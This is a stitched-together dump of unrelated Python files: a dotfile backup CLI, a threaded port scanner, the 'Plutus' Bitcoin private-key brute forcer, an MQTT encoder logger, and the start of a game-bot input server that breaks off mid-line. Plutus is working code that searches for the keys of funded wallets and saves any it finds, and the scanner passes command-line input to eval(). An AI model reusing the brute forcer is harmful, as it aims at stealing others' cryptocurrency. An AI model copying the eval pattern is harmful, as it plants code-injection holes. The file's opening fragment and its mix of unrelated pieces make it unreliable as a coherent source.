Style.BRIGHT + "Directory {} already exists".format(path) + "\n" + Style.RESET_ALL) if prompt_yes_no("Erase directory and make new back up?", Fore.RED): shutil.rmtree(path) os.makedirs(path) else: print(Fore.RED + "Exiting to prevent accidental deletion of user data." + Style.RESET_ALL) sys.exit() elif not os.path.exists(path): os.makedirs(path) print(Fore.RED + Style.BRIGHT + "CREATED DIR: " + Style.NORMAL + path + Style.RESET_ALL) def get_subfiles(directory): """ Returns list of absolute paths of immediate subfiles of a directory """ file_paths = [] for path, subdirs, files in os.walk(directory): for name in files: file_paths.append(os.path.join(path, name)) return file_paths def _copy_dir(source_dir, backup_path): """ Copy dotfolder from $HOME. """ invalid = set(Constants.INVALID_DIRS) if len(invalid.intersection(set(source_dir.split("/")))) != 0: return if "Application\ Support" not in source_dir: copytree(source_dir, os.path.join(backup_path, source_dir.split("/")[-2]), symlinks=True) elif "Sublime" in source_dir: copytree(source_dir, os.path.join(backup_path, source_dir.split("/")[-3]), symlinks=True) else: copytree(source_dir, backup_path, symlinks=True) def _mkdir_or_pass(dir): if not os.path.isdir(dir): os.makedirs(dir) pass def _home_prefix(path): return os.path.join(os.path.expanduser('~'), path) ################ # BACKUP METHODS ################ def get_configs_path_mapping(): """ Gets a dictionary mapping directories to back up to their destination path. """ return { "Library/Application Support/Sublime Text 2/Packages/User/": "sublime_2", "Library/Application Support/Sublime Text 3/Packages/User/": "sublime_3", "Library/Preferences/IntelliJIdea2018.2/": "intellijidea_2018.2", "Library/Preferences/PyCharm2018.2/": "pycharm_2018.2", "Library/Preferences/CLion2018.2/": "clion_2018.2", "Library/Preferences/PhpStorm2018.2": "phpstorm_2018.2", } def get_plist_mapping(): """ Gets a dictionary mapping plist files to back up to their destination path. """ return { "Library/Preferences/com.apple.Terminal.plist": "plist/com.apple.Terminal.plist" } def backup_dotfiles(backup_path): """ Create `dotfiles` dir and makes copies of dotfiles and dotfolders. """ print_section_header("DOTFILES", Fore.BLUE) make_dir_warn_overwrite(backup_path) # assumes dotfiles are stored in home directory home_path = os.path.expanduser('~') # get dotfolders and dotfiles config = get_config() dotfiles_for_backup = config["dotfiles"] dotfolders_for_backup = config["dotfolders"] # Add dotfile/folder for backup if it exists on the machine dotfiles = [file for file in dotfiles_for_backup if os.path.isfile( os.path.join(home_path, file))] dotfolders = [folder for folder in dotfolders_for_backup if os.path.exists( os.path.join(home_path, folder))] # dotfiles/folders multiprocessing format: [(full_dotfile_path, full_dest_path), ...] dotfolders_mp_in = [] for dotfolder in dotfolders: dotfolders_mp_in.append( (os.path.join(home_path, dotfolder), backup_path)) dotfiles_mp_in = [] for dotfile in dotfiles: dotfiles_mp_in.append((os.path.join(home_path, dotfile), os.path.join(backup_path, dotfile))) # Back up System and Application Preferences and Settings # TODO: Extract these paths to constants # Sublime Text Configs if os.path.isdir(_home_prefix("Library/Application Support/Sublime Text 2")): dotfolders_mp_in.append((_home_prefix("Library/Application Support/Sublime Text 2/sublime-2-packages/User"), backup_path)) if os.path.isdir(_home_prefix("Library/Application Support/Sublime Text 3")): dotfolders_mp_in.append((_home_prefix("Library/Application Support/Sublime Text 3/sublime-3-packages/User"), backup_path)) # Multiprocessing with mp.Pool(mp.cpu_count()): print(Fore.BLUE + Style.BRIGHT + "Backing up dotfolders..." + Style.RESET_ALL) for x in dotfolders_mp_in: x = list(x) mp.Process(target=_copy_dir, args=(x[0], x[1],)).start() with mp.Pool(mp.cpu_count()): print(Fore.BLUE + Style.BRIGHT + "Backing up dotfiles..." + Style.RESET_ALL) for x in dotfiles_mp_in: x = list(x) mp.Process(target=shutil.copyfile, args=(x[0], x[1],)).start() def backup_configs(backup_path): """ Creates `configs` directory and places config backups there. Configs are application settings, generally. .plist files count. """ print_section_header("CONFIGS", Fore.BLUE) make_dir_warn_overwrite(backup_path) configs_dir_mapping = get_configs_path_mapping() plist_files = get_plist_mapping().keys() # TODO: Stop SUBLIME folders from being called `Packages` # backup config dirs in backup_path/configs/<target>/ for config, target in configs_dir_mapping.items(): if os.path.isdir(_home_prefix(config)): configs_backup_path = os.path.join(backup_path, target) _mkdir_or_pass(configs_backup_path) copytree(_home_prefix(config), configs_backup_path) # backup plist files in backup_path/configs/plist/ plist_backup_path = os.path.join(backup_path, "plist") _mkdir_or_pass(plist_backup_path) for plist in plist_files: if os.path.exists(_home_prefix(plist)): copytree(_home_prefix(plist), plist_backup_path) def backup_packages(backup_path): """ Creates `packages` directory and places install list text files there. """ print_section_header("PACKAGES", Fore.BLUE) make_dir_warn_overwrite(backup_path) std_package_managers = [ "brew", "brew cask", "gem" ] for mgr in std_package_managers: # deal with package managers that have spaces in them. print(Fore.BLUE + "Backing up {} package list...".format(mgr) + Style.RESET_ALL) command = "{} list".format(mgr) dest = "{}/{}_list.txt".format(backup_path, mgr.replace(" ", "-")) run_shell_cmd_write_stdout_to_file(command, dest) # cargo print(Fore.BLUE + "Backing up cargo packages..." + Style.RESET_ALL) command = "ls {}".format(_home_prefix(".cargo/bin/")) dest = "{}/cargo_list.txt".format(backup_path) run_shell_cmd_write_stdout_to_file(command, dest) # pip print(Fore.BLUE + "Backing up pip packages..." + Style.RESET_ALL) command = "pip list --format=freeze".format(backup_path) dest = "{}/pip_list.txt".format(backup_path) run_shell_cmd_write_stdout_to_file(command, dest) # npm print(Fore.BLUE + "Backing up npm packages..." + Style.RESET_ALL) command = "npm ls --global --parseable=true --depth=0" temp_file_path = "{}/npm_temp_list.txt".format(backup_path) run_shell_cmd_write_stdout_to_file(command, temp_file_path) npm_dest_file = "{0}/npm_list.txt".format(backup_path) # Parse npm output with open(temp_file_path, mode="r+") as temp_file: # Skip first line of file temp_file.seek(1) with open(npm_dest_file, mode="w+") as dest: for line in temp_file: dest.write(line.split("/")[-1]) os.remove(temp_file_path) # atom package manager print(Fore.BLUE + "Backing up Atom packages..." + Style.RESET_ALL) command = "apm list --installed --bare" dest = "{}/apm_list.txt".format(backup_path) run_shell_cmd_write_stdout_to_file(command, dest) # sublime text 2 packages sublime_2_path = _home_prefix("Library/Application Support/Sublime Text 2/Packages/") if os.path.isdir(sublime_2_path): print(Fore.BLUE + "Backing up Sublime Text 2 packages..." + Style.RESET_ALL) command = ["ls", sublime_2_path] dest = "{}/sublime2_list.txt".format(backup_path) run_shell_cmd_write_stdout_to_file(command, dest) # sublime text 3 packages sublime_3_path = _home_prefix("Library/Application Support/Sublime Text 3/Installed Packages/") if os.path.isdir(sublime_3_path): print(Fore.BLUE + "Backing up Sublime Text 3 packages..." + Style.RESET_ALL) command = ["ls", sublime_3_path] dest = "{}/sublime3_list.txt".format(backup_path) run_shell_cmd_write_stdout_to_file(command, dest) else: print(sublime_3_path, "IS NOT DIR") # macports print(Fore.BLUE + "Backing up macports packages..." + Style.RESET_ALL) command = "port installed requested" dest = "{}/macports_list.txt".format(backup_path) run_shell_cmd_write_stdout_to_file(command, dest) # system installs print(Fore.BLUE + "Documenting system applications..." + Style.RESET_ALL) command = "ls /Applications/" dest = "{}/system_apps_list.txt".format(backup_path) run_shell_cmd_write_stdout_to_file(command, dest) # Clean up empty package list files print(Fore.BLUE + "Cleaning up empty package lists..." + Style.RESET_ALL) for file in get_subfiles(backup_path): if os.path.getsize(file) == 0: os.remove(file) def backup_fonts(path): """ Creates list of all .ttf and .otf files in ~/Library/Fonts/ """ print_section_header("FONTS", Fore.BLUE) make_dir_warn_overwrite(path) print(Fore.BLUE + "Copying '.otf' and '.ttf' fonts..." + Style.RESET_ALL) fonts_path = _home_prefix("Library/Fonts/") fonts = [os.path.join(fonts_path, font) for font in os.listdir(fonts_path) if font.endswith(".otf") or font.endswith(".ttf")] for font in fonts: if os.path.exists(font): copyfile(font, os.path.join(path, font.split("/")[-1])) def backup_all(dotfiles_path, packages_path, fonts_path, configs_path): """ Complete backup procedure. """ backup_dotfiles(dotfiles_path) backup_packages(packages_path) backup_fonts(fonts_path) backup_configs(configs_path) ################ # Reinstallation ################ def reinstall_config_files(configs_path): """ Reinstall all configs from the backup. """ print_section_header("REINSTALLING CONFIG FILES", Fore.BLUE) def backup_prefix(path): return os.path.join(configs_path, path) configs_dir_mapping = get_configs_path_mapping() plist_files = get_plist_mapping() for target, backup in configs_dir_mapping.items(): if os.path.isdir(backup_prefix(backup)): copytree(backup_prefix(backup), _home_prefix(target)) for target, backup in plist_files.items(): if os.path.exists(backup_prefix(backup)): copyfile(backup_prefix(backup), _home_prefix(target)) print_section_header("SUCCESSFUL CONFIG REINSTALLATION", Fore.BLUE) sys.exit() def reinstall_package(packages_path): """ Reinstall all packages from the files in backup/installs. """ print_section_header("REINSTALLING PACKAGES", Fore.BLUE) # Figure out which install lists they have saved package_mgrs = set() for file in os.listdir(packages_path): # print(file) manager = file.split("_")[0].replace("-", " ") if manager in Constants.PACKAGE_MANAGERS: package_mgrs.add(file.split("_")[0]) print(Fore.BLUE + Style.BRIGHT + "Package Managers detected:" + Style.RESET_ALL) for mgr in package_mgrs: print(Fore.BLUE + Style.BRIGHT + "\t" + mgr) print(Style.RESET_ALL) # construct commands for pm in package_mgrs: if pm in ["brew", "brew-cask"]: pm_formatted = pm.replace("-", " ") print(Fore.BLUE + Style.BRIGHT + "Reinstalling {} packages...".format(pm_formatted) + Style.RESET_ALL) cmd = "xargs {0} install < {1}/{2}_list.txt".format(pm.replace("-", " "), packages_path, pm_formatted) run_shell_cmd(cmd) elif pm == "npm": print(Fore.BLUE + Style.BRIGHT + "Reinstalling {} packages...".format(pm) + Style.RESET_ALL) cmd = "cat {0}/npm_list.txt | xargs npm install -g".format(packages_path) run_shell_cmd(cmd) elif pm == "pip": print(Fore.BLUE + Style.BRIGHT + "Reinstalling {} packages...".format(pm) + Style.RESET_ALL) cmd = "pip install -r {0}/pip_list.txt".format(packages_path) run_shell_cmd(cmd) elif pm == "apm": print(Fore.BLUE + Style.BRIGHT + "Reinstalling {} packages...".format(pm) + Style.RESET_ALL) cmd = "apm install --packages-file {0}/apm_list.txt".format(packages_path) run_shell_cmd(cmd) elif pm == "macports": print(Fore.RED + "WARNING: Macports reinstallation is not supported." + Style.RESET_ALL) elif pm == "gem": print(Fore.RED + "WARNING: Gem reinstallation is not supported." + Style.RESET_ALL) elif pm == "cargo": print(Fore.RED + "WARNING: Cargo reinstallation is not possible at the moment." "\n -> https://github.com/rust-lang/cargo/issues/5593" + Style.RESET_ALL) print_section_header("SUCCESSFUL PACKAGE REINSTALLATION", Fore.BLUE) sys.exit() ##### # Git ##### def create_remote(repo, remote_url): """ Creates a remote for a repo and fetches data. """ origin = repo.create_remote('origin', remote_url) origin.fetch() return origin def git_set_remote(repo, remote_url): """ Sets git repo upstream URL and fast-forwards history. """ print(Fore.GREEN + Style.BRIGHT + "Setting remote URL to {}...".format(remote_url) + Style.RESET_ALL) remotes = [remote for remote in repo.remotes] # pprint([remote.url for remote in remotes]) # Repo has no remotes, just create a new remote and pull. if len(remotes) == 0: origin = create_remote(repo, remote_url) if not repo.head: repo.create_head('master', origin.refs.master) # Update push URL with new URL. else: repo.delete_remote(repo.remotes.origin) origin = create_remote(repo, remote_url) def create_gitignore_if_needed(dir_path): """ Creates a .gitignore file that ignores all files listed in config. """ gitignore_path = os.path.join(dir_path, ".gitignore") if os.path.exists(gitignore_path): print(Fore.GREEN + Style.BRIGHT + ".gitignore detected." + Style.RESET_ALL) pass else: print(Fore.GREEN + Style.BRIGHT + "Creating .gitignore..." + Style.RESET_ALL) files_to_ignore = get_config()["gitignore"] with open(gitignore_path, "w+") as f: for ignore in files_to_ignore: f.write("{}\n".format(ignore)) def git_init_if_needed(dir_path): """ If there is no git repo inside the dir_path, intialize one. Returns git.Repo object """ if not os.path.isdir(os.path.join(dir_path, ".git")): print(Fore.GREEN + Style.BRIGHT + "Initializing new git repo..." + Style.RESET_ALL) repo = git.Repo.init(dir_path) return repo else: print(Fore.GREEN + Style.BRIGHT + "Detected git repo." + Style.RESET_ALL) repo = git.Repo(dir_path) return repo def git_add_all_commit(repo, dir_path): """ Stages all changed files in dir_path and its children folders for commit, commits them and pushes to a remote if it's configured. """ print(Fore.GREEN + Style.BRIGHT + "Making new commit..." + Style.RESET_ALL) dotfiles_path = os.path.join(dir_path, "dotfiles") fonts_path = os.path.join(dir_path, "fonts") packages_path = os.path.join(dir_path, "packages") configs_path = os.path.join(dir_path, "configs") gitignore_path = os.path.join(dir_path, ".gitignore") repo.index.add([gitignore_path]) if os.path.exists(dotfiles_path): repo.index.add([dotfiles_path]) if os.path.exists(fonts_path): repo.index.add([fonts_path]) if os.path.exists(packages_path): repo.index.add([packages_path]) if os.path.exists(configs_path): repo.index.add([configs_path]) repo.index.commit("shallow-backup update.") def git_push_if_possible(repo): """ Push commits to origin after fast-forwarding branch. """ if "origin" in [remote.name for remote in repo.remotes]: origin = repo.remotes.origin print(Fore.GREEN + Style.BRIGHT + "Pushing to master at " + Fore.RED + "{}...".format( origin.url) + Style.RESET_ALL) repo.heads.master.set_tracking_branch(origin.refs.master) origin.pull() origin.push(refspec='master:master') ######## # Config ######## def get_config_path(): return _home_prefix(Constants.CONFIG_PATH) def get_config(): """ Returns the config. :return: dictionary for config """ with open(get_config_path()) as f: config = json.load(f) return config def write_config(config): """ Write to config file """ with open(get_config_path(), 'w') as f: json.dump(config, f, indent=4) def get_default_config(): """ Returns a default configuration. """ return { "backup_path": "~/shallow-backup", "dotfiles": [ ".bashrc", ".bash_profile", ".gitconfig", ".profile", ".pypirc", ".shallow-backup", ".vimrc", ".zshrc" ], "dotfolders": [ ".ssh", ".vim" ], "gitignore": [ "dotfiles/.ssh", "packages/", "dotfiles/.pypirc", ] } def create_config_file_if_needed(): """ Creates config file if it doesn't exist already. """ backup_config_path = get_config_path() if not os.path.exists(backup_config_path): print(Fore.BLUE + Style.BRIGHT + "Creating config file at {}".format(backup_config_path)) backup_config = get_default_config() write_config(backup_config) ##### # CLI ##### def move_git_folder_to_path(source_path, new_path): """ Moves git folder and .gitignore to the new backup directory. """ git_dir = os.path.join(source_path, '.git') git_ignore_file = os.path.join(source_path, '.gitignore') try: shutil.move(git_dir, new_path) shutil.move(git_ignore_file, new_path) print(Fore.BLUE + Style.BRIGHT + "Moving git repo to new destination" + Style.RESET_ALL) except FileNotFoundError: pass def prompt_for_path_update(config): """ Ask user if they'd like to update the backup path or not. If yes, update. If no... don't. """ current_path = config["backup_path"] print(Fore.BLUE + Style.BRIGHT + "Current shallow-backup path -> " + Style.NORMAL + "{}".format(current_path) + Style.RESET_ALL) if prompt_yes_no("Would you like to update this?", Fore.GREEN): print(Fore.GREEN + Style.BRIGHT + "Enter relative path:" + Style.RESET_ALL) abs_path = os.path.abspath(input()) print(Fore.BLUE + "\nUpdating shallow-backup path to {}".format(abs_path) + Style.RESET_ALL) config["backup_path"] = abs_path write_config(config) make_dir_warn_overwrite(abs_path) move_git_folder_to_path(current_path, abs_path) def destroy_backup_dir(backup_path): """ Deletes the backup directory and its content """ try: print("{} Deleting backup directory {} {}...".format(Fore.RED, backup_path, Style.BRIGHT)) shutil.rmtree(backup_path) except OSError as e: print("{} Error: {} - {}. {}".format(Fore.RED, e.filename, e.strerror, Style.RESET_ALL)) def backup_prompt(): """ Use pick library to prompt user with choice of what to backup. """ questions = [inquirer.List('choice', message=Fore.GREEN + Style.BRIGHT + "What would you like to do?" + Fore.BLUE, choices=[' Back up dotfiles', ' Back up configs', ' Back up packages', ' Back up fonts', ' Back up everything', ' Reinstall configs', ' Reinstall packages', ' Destroy backup' ], ), ] answers = inquirer.prompt(questions) return answers.get('choice').strip().lower() # custom help options @click.command(context_settings=dict(help_option_names=['-h', '-help', '--help'])) @click.option('-complete', is_flag=True, default=False, help="Back up everything.") @click.option('-dotfiles', is_flag=True, default=False, help="Back up dotfiles.") @click.option('-configs', is_flag=True, default=False, help="Back up app config files.") @click.option('-fonts', is_flag=True, default=False, help="Back up installed fonts.") @click.option('-packages', is_flag=True, default=False, help="Back up package libraries and installed applications.") @click.option('-old_path', is_flag=True, default=False, help="Skip setting new back up directory path.") @click.option('--new_path', default="", help="Input a new back up directory path.") @click.option('--remote', default="", help="Input a URL for a git repository.") @click.option('-reinstall_packages', is_flag=True, default=False, help="Reinstall packages from package lists.") @click.option('-reinstall_configs', is_flag=True, default=False, help="Reinstall configs from configs backup.") @click.option('-delete_config', is_flag=True, default=False, help="Remove config file.") @click.option('-v', is_flag=True, default=False, help='Display version and author information and exit.') @click.option('-destroy_backup', is_flag=True, default=False, help='Removes the backup directory and its content.') def cli(complete, dotfiles, configs, packages, fonts, old_path, new_path, remote, reinstall_packages, reinstall_configs, delete_config, v, destroy_backup): """ Easily back up installed packages, dotfiles, and more. You can edit which dotfiles are backed up in ~/.shallow-backup. """ backup_config_path = get_config_path() # Print version information if v: print_version_info() sys.exit() elif delete_config: os.remove(backup_config_path) print(Fore.RED + Style.BRIGHT + "Removed config file..." + Style.RESET_ALL) sys.exit() elif destroy_backup: backup_home_path = get_config()["backup_path"] destroy_backup_dir(backup_home_path) sys.exit() # Start CLI splash_screen() create_config_file_if_needed() backup_config = get_config() # User entered a new path, so update the config if new_path != "": abs_path = os.path.abspath(new_path) print(Fore.BLUE + Style.NORMAL + "\nUpdating shallow-backup path to -> " + Style.BRIGHT + "{}".format( abs_path) + Style.RESET_ALL) backup_config["backup_path"] = abs_path write_config(backup_config) # User didn't enter any CLI args so prompt for path update before showing menu elif not (old_path or complete or dotfiles or packages or fonts): prompt_for_path_update(backup_config) # Create backup directory and do git setup backup_home_path = get_config()["backup_path"] make_dir_warn_overwrite(backup_home_path) repo = git_init_if_needed(backup_home_path) create_gitignore_if_needed(backup_home_path) if remote != "": git_set_remote(repo, remote) dotfiles_path = os.path.join(backup_home_path, "dotfiles") configs_path = os.path.join(backup_home_path, "configs") packages_path = os.path.join(backup_home_path, "packages") fonts_path = os.path.join(backup_home_path, "fonts") # Command line options if complete or dotfiles or configs or packages or fonts or reinstall_packages or reinstall_configs: if reinstall_packages: reinstall_package(packages_path) elif reinstall_configs: reinstall_config_files(configs_path) elif complete: backup_all(dotfiles_path, packages_path, fonts_path, configs_path) elif dotfiles: backup_dotfiles(dotfiles_path) elif configs: backup_configs(configs_path) elif packages: backup_packages(packages_path) elif fonts: backup_fonts(fonts_path) git_add_all_commit(repo, backup_home_path) git_push_if_possible(repo) sys.exit() # No CL options, prompt for selection else: selection = backup_prompt().lower().strip() if selection == "back up everything": backup_all(dotfiles_path, packages_path, fonts_path, configs_path) elif selection == "back up dotfiles": backup_dotfiles(dotfiles_path) elif selection == "back up configs": backup_configs(configs_path) elif selection == "back up packages": backup_packages(packages_path) elif selection == "back up fonts": backup_fonts(fonts_path) elif selection == "reinstall packages": reinstall_package(packages_path) elif selection == "reinstall configs": reinstall_config_files(configs_path) elif selection == "destroy backup": if prompt_yes_no("Erase backup directory: {}?".format(backup_home_path), Fore.RED): destroy_backup_dir(backup_home_path) else: print("{} Exiting to prevent accidental deletion of backup directory... {}".format( Fore.RED, Style.RESET_ALL)) sys.exit() git_add_all_commit(repo, backup_home_path) git_push_if_possible(repo) sys.exit() if __name__ == '__main__': """ I'm just here so I don't get fined. """ cli()
pyscanner2.py
import socket import time import threading import sys from Queue import Queue socket.setdefaulttimeout(0.25) print_lock = threading.Lock() if len(sys.argv)!=3: print('usage: pyscanner.py IP_ADDRESS \'[port1, port2, ...]\'') exit(0) target = sys.argv[1] ports = eval(sys.argv[2]) t_IP = socket.gethostbyname(target) print ('Starting scan on host: ', t_IP, ', ports:', ports) def portscan(port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: con = s.connect((t_IP, port)) with print_lock: print(port, 'is open') con.close() except: pass def threader(): while True: worker = q.get() portscan(worker) q.task_done() q = Queue() startTime = time.time() for x in range(1,100): t = threading.Thread(target = threader) t.daemon = True t.start() for worker in ports: q.put(worker) q.join() print('Time taken:', time.time() - startTime)
plutus.py
# Plutus Bitcoin Brute Forcer # Made by Isaac Delly # https://github.com/Isaacdelly/Plutus import os import pickle import hashlib import binascii import multiprocessing from ellipticcurve.privateKey import PrivateKey DATABASE = r'database/MAR_23_2019/' def generate_private_key(): """ Generate a random 32-byte hex integer which serves as a randomly generated Bitcoin private key. Average Time: 0.0000061659 seconds """ return binascii.hexlify(os.urandom(32)).decode('utf-8').upper() def private_key_to_public_key(private_key): """ Accept a hex private key and convert it to its respective public key. Because converting a private key to a public key requires SECP256k1 ECDSA signing, this function is the most time consuming and is a bottleneck in the overall speed of the program. Average Time: 0.0031567731 seconds """ pk = PrivateKey().fromString(bytes.fromhex(private_key)) return '04' + pk.publicKey().toString().hex().upper() def public_key_to_address(public_key): """ Accept a public key and convert it to its resepective P2PKH wallet address. Average Time: 0.0000801390 seconds """ output = [] alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' var = hashlib.new('ripemd160') encoding = binascii.unhexlify(public_key.encode()) var.update(hashlib.sha256(encoding).digest()) var_encoded = ('00' + var.hexdigest()).encode() digest = hashlib.sha256(binascii.unhexlify(var_encoded)).digest() var_hex = '00' + var.hexdigest() + hashlib.sha256(digest).hexdigest()[0:8] count = [char != '0' for char in var_hex].index(True) // 2 n = int(var_hex, 16) while n > 0: n, remainder = divmod(n, 58) output.append(alphabet[remainder]) for i in range(count): output.append(alphabet[0]) return ''.join(output[::-1]) def process(private_key, public_key, address, database): """ Accept an address and query the database. If the address is found in the database, then it is assumed to have a balance and the wallet data is written to the hard drive. If the address is not in the database, then it is assumed to be empty and printed to the user. Average Time: 0.0000026941 seconds """ if address in database[0] or \ address in database[1] or \ address in database[2] or \ address in database[3]: with open('plutus.txt', 'a') as file: file.write('hex private key: ' + str(private_key) + '\n' + 'WIF private key: ' + str(private_key_to_WIF(private_key)) + '\n' + 'public key: ' + str(public_key) + '\n' + 'address: ' + str(address) + '\n\n') else: print(str(address)) def private_key_to_WIF(private_key): """ Convert the hex private key into Wallet Import Format for easier wallet importing. This function is only called if a wallet with a balance is found. Because that event is rare, this function is not significant to the main pipeline of the program and is not timed. """ digest = hashlib.sha256(binascii.unhexlify('80' + private_key)).hexdigest() var = hashlib.sha256(binascii.unhexlify(digest)).hexdigest() var = binascii.unhexlify('80' + private_key + var[0:8]) alphabet = chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' value = pad = 0 result = '' for i, c in enumerate(var[::-1]): value += 256**i * c while value >= len(alphabet): div, mod = divmod(value, len(alphabet)) result, value = chars[mod] + result, div result = chars[value] + result for c in var: if c == 0: pad += 1 else: break return chars[0] * pad + result def main(database): """ Create the main pipeline by using an infinite loop to repeatedly call the functions, while utilizing multiprocessing from __main__. Because all the functions are relatively fast, it is better to combine them all into one process. """ while True: private_key = generate_private_key() # 0.0000061659 seconds public_key = private_key_to_public_key(private_key) # 0.0031567731 seconds address = public_key_to_address(public_key) # 0.0000801390 seconds process(private_key, public_key, address, database) # 0.0000026941 seconds # -------------------- # 0.0032457721 seconds if __name__ == '__main__': """ Deserialize the database and read into a list of sets for easier selection and O(1) complexity. Initialize the multiprocessing to target the main function with cpu_count() concurrent processes. """ database = [set() for _ in range(4)] count = len(os.listdir(DATABASE)) half = count // 2 quarter = half // 2 for c, p in enumerate(os.listdir(DATABASE)): print('\rreading database: ' + str(c + 1) + '/' + str(count), end = ' ') with open(DATABASE + p, 'rb') as file: if c < half: if c < quarter: database[0] = database[0] | pickle.load(file) else: database[1] = database[1] | pickle.load(file) else: if c < half + quarter: database[2] = database[2] | pickle.load(file) else: database[3] = database[3] | pickle.load(file) print('DONE') # To verify the database size, remove the # from the line below #print('database size: ' + str(sum(len(i) for i in database))); quit() for cpu in range(multiprocessing.cpu_count()): multiprocessing.Process(target = main, args = (database, )).start()
saveData.py
import threading from api_phidget_n_MQTT.src.lib_global_python import createLoggerFile from api_phidget_n_MQTT.src.lib_global_python import loggerHandler from api_phidget_n_MQTT.src.lib_global_python import repeatedTimer class saveData: def __init__(self): self.last_t1=0 pass def initFile(self,config): self.fh = createLoggerFile.createLoggerFile(config) def saveDataMQTT(self, client, config, isChecked): if isChecked: self.fh = self.initFile(config) client.fh = self.fh client.printLog = config.getboolean('Logger', 'printLog') client.firstLine = config.get('filenameLogger', 'firstLine') client.saveLog = config.getboolean('Logger', 'saveLog') client.on_message = loggerHandler.on_message client.loop_start() # topic_encoder = config.get('MQTT', 'topic') topic_encoder = config.get('encoder', 'topic_subscribe') client.subscribe(topic_encoder) return 100 else: client.loop_stop() client.fh.close() return 0 def saveData(self, encoder, config, isChecked): if isChecked: self.initFile(config) self.printLog = config.getboolean('Logger', 'printLog') self.firstLine = config.get('filenameLogger', 'firstLine') self.saveLog = config.getboolean('Logger', 'saveLog') self.threadOnMessage = threading.Thread(target=self.onMessage, args=(self, encoder,)) self.last_t1=encoder.t1 self.threadLoop=repeatedTimer.RepeatedTimer(0.001, self.loopCheckMessage, encoder) self.threadLoop.start() # ui.RecordingEnco.setValue(100) return 100 else: self.threadLoop.stop() self.fh.close() # ui.RecordingEnco.setValue(0) return 0 def saveDataSimple(self,config, isChecked): if isChecked: self.fh = createLoggerFile.createLoggerFile(config) self.printLog = config.getboolean('Logger', 'printLog') self.firstLine = config.get('filenameLogger', 'firstLine') self.saveLog = config.getboolean('Logger', 'saveLog') return 100 else: self.fh.close() return 0 def onMessage(self,encoder): firstLine=self.firstLine.split(', ') # Print the datas in the terminal if self.printLog: print(firstLine[0]+" : "+str(encoder.t1)) print(firstLine[1]+" : "+str(encoder.positionChange)) print(firstLine[2]+" : "+str(encoder.timeChange)) print(firstLine[3]+" : "+str(encoder.indexTriggered)) print("----------") # Save the datas in a log file 'fh' if self.saveLog: self.fh.write(str(encoder.t1)+ ", ") self.fh.write(str(encoder.positionChange)+ ", ") self.fh.write(str(encoder.timeChange)+ ", ") self.fh.write(str(encoder.indexTriggered)+ "\n") def loopCheckMessage(self,encoder): if encoder.t1 != self.last_t1: self.threadOnMessage.start()
server_supportonly.py
import socket import select import threading import pydirectinput import time import subprocess import os from win32api import GetSystemMetrics from windowcapture import WindowCapture import ctypes from cryptography.fernet import Fernet from vision import Vision from hsvfilter import grab_object_preset, HsvFilter import cv2 import pytesseract from quest_handle import QuestHandle from sell_repair import SellRepair import numpy as np from fuzzywuzzy import process import random # Change directory to current file location os.chdir(os.path.dirname(os.path.abspath(__file__))) # Required code for custom input SendInput = ctypes.windll.user32.SendInput MapVirtualKey = ctypes.windll.user32.MapVirtualKeyW KEYEVENTF_EXTENDEDKEY = 0x0001 KEYEVENTF_KEYUP = 0x0002 KEYEVENTF_SCANCODE = 0x0008 KEYEVENTF_UNICODE = 0x0004 MAPVK_VK_TO_CHAR = 2 MAPVK_VK_TO_VSC = 0 MAPVK_VSC_TO_VK = 1 MAPVK_VSC_TO_VK_EX = 3 # C struct redefinitions PUL = ctypes.POINTER(ctypes.c_ulong) class KeyBdInput(ctypes.Structure): _fields_ = [("wVk", ctypes.c_ushort), ("wScan", ctypes.c_ushort), ("dwFlags", ctypes.c_ulong), ("time", ctypes.c_ulong), ("dwExtraInfo", PUL)] class HardwareInput(ctypes.Structure): _fields_ = [("uMsg", ctypes.c_ulong), ("wParamL", ctypes.c_short), ("wParamH", ctypes.c_ushort)] class MouseInput(ctypes.Structure): _fields_ = [("dx", ctypes.c_long), ("dy", ctypes.c_long), ("mouseData", ctypes.c_ulong), ("dwFlags", ctypes.c_ulong), ("time", ctypes.c_ulong), ("dwExtraInfo", PUL)] class Input_I(ctypes.Union): _fields_ = [("ki", KeyBdInput), ("mi", MouseInput), ("hi", HardwareInput)] class Input(ctypes.Structure): _fields_ = [("type", ctypes.c_ulong), ("ii", Input_I)] class RHBotArrayServer(): def __init__(self, print_only=False, move_only=True) -> None: self.print_only = print_only self.move_only = move_only self.move_only_exclude_keys = ["a", "s", "d", "f", "g", "h"] self.support_keys = ["a", "h"] self.support_only = move_only self.scaling = self.get_monitor_scaling() with open("gamename.txt") as f: self.gamename = f.readline() # initialise the window centre for the mouse resetter self.centre_x = 900 self.centre_y = 500 if not self.print_only: self.game_wincap = WindowCapture(self.gamename) self.centre_x = int(0.5 * self.game_wincap.w + self.game_wincap.window_rect[0]) self.centre_y = int(0.5 * self.game_wincap.h + self.game_wincap.window_rect[1]) self.HEADER_LENGTH = 10 self.IP = self.grab_current_lan_ip() self.PORT = 1351 self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server_socket.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.server_socket.bind((self.IP, self.PORT)) self.server_socket.listen() self.sockets_list = [self.server_socket] self.clients = {} print(f'Listening for connections on {self.IP}:{self.PORT}...') with open("key.key") as f: key = f.read() self.fern = Fernet(key) self.last_mouse_move = time.time() - 10 self.xprompt_filter, xprompt_custom_rect = grab_object_preset( object_name="prompt_press_x_pickup") self.xprompt_wincap = WindowCapture( self.gamename, xprompt_custom_rect) self.xprompt_vision = Vision("xprompt67filtv2.jpg") # These are related to the v1 regroup command if not self.print_only: # These are related to auto playername detect plyrname_rect = [165, 45, 320, 65] self.plyrname_wincap = WindowCapture(self.gamename, plyrname_rect) self.plyrname_filt = HsvFilter(0, 0, 103, 89, 104, 255, 0, 0, 0, 0) self.plyrmname_vision = Vision('xprompt67filtv2.jpg') self.main_player = self.detect_name() with open("currplayer.txt") as f: self.curr_player = f.readline() self.regroup_wincap = WindowCapture( self.gamename, [210, 60, 1455, 650]) self.regroup_vision = Vision('xprompt67filtv2.jpg') self.regroup_filter = HsvFilter( 94, 188, 255, 137, 255, 255, 0, 0, 0, 0) # These are related to the autoloot function self.autoloot_enabled = False # These are related to the questhandling self.quest_handle = QuestHandle() # These are related to sell and repair self.sell_repair = SellRepair() # These are related to allow x in all cases self.allowx = False # These are for the 